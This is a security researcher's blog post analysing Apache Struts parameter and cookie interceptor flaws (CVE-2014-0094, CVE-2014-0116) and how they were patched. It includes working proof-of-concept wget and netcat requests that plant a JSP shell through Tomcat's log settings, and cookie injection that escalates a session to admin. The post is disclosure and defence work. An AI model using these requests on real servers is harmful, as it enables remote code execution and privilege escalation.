Analysis of Recent Struts Vulnerabilities in Parameters and Cookie Interceptors, Their Impact and Exploitation

Whitelisting and blacklisting are not easy to get right. We have seen this recently with the Apache Struts vulnerabilities and multiple back-to-back releases/security announcements S2-022, S2-021 and S2-020; this is something that has been observed in the past as well. I was recently involved in analyzing the S2-020 ClassLoader vulnerability (CVE-2014-0094) to provide guidance to our content development team on how to add coverage for this. During the analysis, it became clear that the solution and work-around proposed in the first announcment (blacklisting strings) was not complete. I continued my investigation further over the weekend, but by Monday, Apache had already been notified. They released S2-021 to cover CVE-2014-0112 and CVE-2014-0113 before I got around to sending them a write-up for these (of course, tweeting about these was quick and easy enough — here, and then here). However, there was one more thing that they had missed; we sent them the disclosure write-up for it, which resulted in CVE-2014-0116 / S2-022. We have now released a public advisory for this as well. During my conversations with internal and external teams, I realized that many people do not understand these vulnerabilities and that there is value in clarifying them via a blog entry.

Understanding Struts in More Depth

Discussing Struts in a bit more depth will help us to better understand these vulnerabilities and their impact. Basically, you have Struts Actions, which you can think of as a Java class that implements certain interfaces and has certain properties (instance members/fields, etc). In a typical scenario before the action is executed, you have interceptors that process the requests; two of the interceptors that we are interested in are the Parameters Interceptor and the Cookie Interceptor. In general (although restrictions can be placed based on how they are configured), these interceptors will process the parameter names = value pairs from GET/POST requests and cookies, respectively. If the action has properties with these names and appropriate public get and set methods, they will set up those properties according to the values provided. For example, if you have parent.child.name = “SomeName” as part of your GET/POST request, and the action has these properties accessible via public get and set methods, then what the Parameters Interceptor will do is execute getParent().getChild.setName(“SomeName”). Note that parameter names are treated as OGNL statements, which means that there are multiple ways to do one thing; this is the main reason that the first blacklisting that Struts proposed was not complete (this has also been the cause of previous vulnerabilities in the Parameters Interceptor).

CVE-2014-0094

The crux of the vulnerability is that these interceptors — in the absence of appropriate black- and whitelisting — lets an attacker get to the internal properties of Struts. CVE-2014-0094 is about the ability to access a class instance of the action since getClass() is a public method available to all Java Objects. So what’s the big deal? Well, if you look at java.lang.Class, you will realize that, from there, you can get to ClassLoader via getClassLoader(); then, depending on the specific implementation of ClassLoader that the Web server running Struts is using to load Action classes, one may be able to get to other interesting properties and perhaps even modify some configuration settings of the Web server.

We have seen one POC available in public that takes advantage of the ClassLoader being used by Tomcat. The exploit works by modifying the configuraiton settings of Tomcat (via AccessLogValve); more specifically, it changes the naming scheme of log files and the location where log files are stored to root directory, where Web application code is stored. Thereafter, when the attacker sends a request containing malicious script — such as a request containing JSP code — this will get logged into the log file, which now may have a name and extension of the attacker’s choice (e.g., file1.jsp). As this log file is now in WEBROOT or someplace from which the Web server serves pages containing JSP code, the attacker can then send a GET request for file1.jsp. When the Web server processes this file, it will execute the malicious code, and the attacker gets remote code execution on the Web server. Here are POC requests to the sample Struts blank application (you can find how to set this up here).

The requests below will change the log file location and naming convention:

(Note: We are using Wget, but these requests can generally be sent via a browser as well)

wget http://127.0.0.1/struts2-blank/example/HelloWorld.action?Class.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT

wget http://127.0.0.1/struts2-blank/example/HelloWorld.action?Class.classLoader.resources.context.parent.pipeline.first.prefix=shell

wget http://127.0.0.1/struts2-blank/example/HelloWorld.action?Class.classLoader.resources.context.parent.pipeline.first.suffix=.jsp

wget http://127.0.0.1/struts2-blank/example/HelloWorld.action?Class.classLoader.resources.context.parent.pipeline.first.fileDateFormat=12

Then, if we send the request with jsp code, it gets stored into log file. Note that we are using Netcat to avoid URL encodings:

echo -e 'GET http://127.0.0.1/struts2-blank/example/aaaa.jsp?a=<% Runtime.getRuntime().exec("xcalc");%>\n\n' | nc 127.0.0.1 80

Let’s take a look at the log file:

cat /home/zashraf/tomcat/apache-tomcat-8.0.3/webapps/ROOT/shell12.jsp
127.0.0.1 - - [14/May/2014:16:28:03 -0400] "GET /struts2-blank/example/aaaa.jsp?a=<% Runtime.getRuntime().exec("xcalc");%>" 505

Now if we request this log file, we will see xcalc starting up on the Linux box (i.e., we are able to execute arbitrary code on the Web server):

wget http://127.0.0.1/shell12.jsp

 

# Let's take a look at the processes apache / xcalc
zashraf@ubuntu12:~$ ps -ef | grep -E "xcalc|apache"
root 1488 1 1 16:24 pts/3 00:00:35 /home/zashraf/jdk1.7.0_55/jre//bin/java -Djava.util.logging.config.file=/home/zashraf/tomcat/apache-tomcat-8.0.3/conf/logging.properties -Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager -Djava.endorsed.dirs=/home/zashraf/tomcat/apache-tomcat-8.0.3/endorsed -classpath /home/zashraf/tomcat/apache-tomcat-8.0.3/bin/bootstrap.jar:/home/zashraf/tomcat/apache-tomcat-8.0.3/bin/tomcat-juli.jar -Dcatalina.base=/home/zashraf/tomcat/apache-tomcat-8.0.3 -Dcatalina.home=/home/zashraf/tomcat/apache-tomcat-8.0.3 -Djava.io.tmpdir=/home/zashraf/tomcat/apache-tomcat-8.0.3/temp org.apache.catalina.startup.Bootstrap start
root 1832 1488 0 17:07 pts/3 00:00:00 xcalc

Notice xcalc being started from the Apache process (pid 1488).

As mentioned above, the parameter names are treated as OGNL statements, which implies that all the following forms get us access to ClassLoader: class.classLoader, Class.classLoader, class[‘classLoader’], etc. Moreover, if an application uses Cookie Interceptor and allows any name/value to be used for a cookie, then the ClassLoader can be accessed via a cookie as well; these have been addressed by S2-021.

If you use Struts but do not use Tomcat, are you still vulnerable? Yes, you are! You may not have the same sort of exposure as Tomcat — and your deployment may not be exploitable — but there could be other interesting ways to exploit your deployment as well; the safest thing is to apply the patch.

CVE-2014-0116

While analyzing CVE-2014-0094 and the initial patch released for it, I realized that class and Class both can be used to access the class instance, and the blacklisting was only forbidding class and not Class. As a natural consequence of this discovery, I realized that the other exclude parameter names on the list can also be bypassed by simply capitalizing their first character. Moreover, these can all be accessed via Cookie Interceptor, which, although it is not enabled by default, is still something that applications can and do use. Before I could complete my analysis and send Struts a write-up, S2-021 was released, and it took care of many of these issues. It proposed the following work-around:

<interceptor-ref name="params">
   <param name="excludeParams">(.*\.|^|.*|\[('|"))(c|C)lass(\.|('|")]|\[).*,^dojo\..*,^struts\..*,^session\..*,^request\..*,^application\..*,^servlet(Request|Response)\..*,^parameters\..*,^action:.*,^method:.*</param>
</interceptor-ref>

Note that they took care of excluding class and Class but did not do it for others like ‘session,’ ‘request,’ etc. Nevertheless, the way that they implemented the code fix ignored the case of the exclude parameters. However, what they missed was that these exclude parameters can also be modified via the Cookie Interceptor since they were just excluding the ‘class’ parameter for Cookie Interceptor and not ‘Session,’ etc. This is what we reported, and it was fixed with S2-022. You may ask how we can exploit via ‘session’ and other parameters. This has been previously discussed here.

Here is one way to search on GitHub for applications implementing SessionAware with a public getSession() method available to access the Session object.

One application that I found was using an action called Register, and it has many different properties associated with the Session object. To demonstrate this vulnerability, we will use a dummy POC action such as:

public class HelloWorldS extends ActionSupport implements SessionAware {

    @Override
    public String execute() throws Exception {


        if (sessionMap.get("user") == null)
        {
            sessionMap.put("key3", "set2");
            User n = new User();
            n.setName("Guest User");
            n.setNumber(-1);
            n.setRole("Guest");
            sessionMap.put("user", n);
        }
        if (((User)(sessionMap.get("user"))).getRole().equals("admin"))
           message = "Welcome .. to the portal ... you are currently browsing the portal as an admin";
        else
           message = "Welcome .. to the portal ... you are currently browsing the portal as a Guest";

        setMessage(message); 

        return SUCCESS;
    }

 

We will add Cookie Interceptor when deploying this application as:

<action name="HelloWorldS" class="example.HelloWorldS">
   <interceptor-ref name="defaultStack"/>
   <interceptor-ref name="cookie">
      <param name="cookiesName">*</param>
      <param name="cookiesValue">*</param>
   </interceptor-ref>
   <result>/example/HelloWorldS.jsp</result>
</action>

 

This is what the default page for our dummy Struts app looks like:

default page for the struts app

We can now exploit the vulnerability as follows:

This simple app uses JSESSIONID to track sessions. We will use Wget to fetch the default page and save cookies, which saves the JSESSIONID to file. We will then use this JSESSIONID and other cookies to modify the current user for this session and then send another request to fetch the default page using our injected cookies; we will see the server greeting us as an admin.

# send a request and save cookies
wget --keep-session-cookies --save-cookies cookieFile3.tmp http://localhost/struts2-sessionaware/example/HelloWorldS.action

# cookie file saved by wget
zashraf@ubuntu12:~$ cat cookieFile3.tmp
# HTTP cookie file.
# Generated by Wget on 2014-05-15 11:13:20.
# Edit at your own risk.

localhost FALSE /struts2-sessionaware/ FALSE 0 JSESSIONID E3129EE24868DEA2DB6A6DC3D1189C8C

# this is how our new cookie file looks like with injected cookies
zashraf@ubuntu12:~$ cat cookieFile.tmp

localhost FALSE /struts2-sessionaware/ FALSE 0 JSESSIONID E3129EE24868DEA2DB6A6DC3D1189C8C
localhost FALSE /struts2-sessionaware/ FALSE 0 session.user.role admin
localhost FALSE /struts2-sessionaware/ FALSE 0 session.user.name root
localhost FALSE /struts2-sessionaware/ FALSE 0 session.user.number 0

# send another request with new cookies
wget --load-cookies cookieFile.tmp http://localhost/struts2-sessionaware/example/HelloWorldS.action<br/>

# note this can also be done using appropriate browser plugins to inject cookies

 

This is how the page fetched by Wget looks in-browser:

session modified in struts app via cookie using CVE-2014-0116

Conclusion

We can learn and reemphasize many different lessons here, such as:

The difficulty of getting black- and whitelisting right and the need to be very careful with it.

Importance of careful code and patch reviews; this is not the first time that Struts had been affected by the same vulnerability in both Parameter and Cookie Interceptors.

Finally, the importance of patching itself!

Zubair Ashraf

X-Force Security Researcher, IBM Security

Zubair Ashraf is a security researcher and team lead for IBM X-Force Advanced Research. He is very passionate about...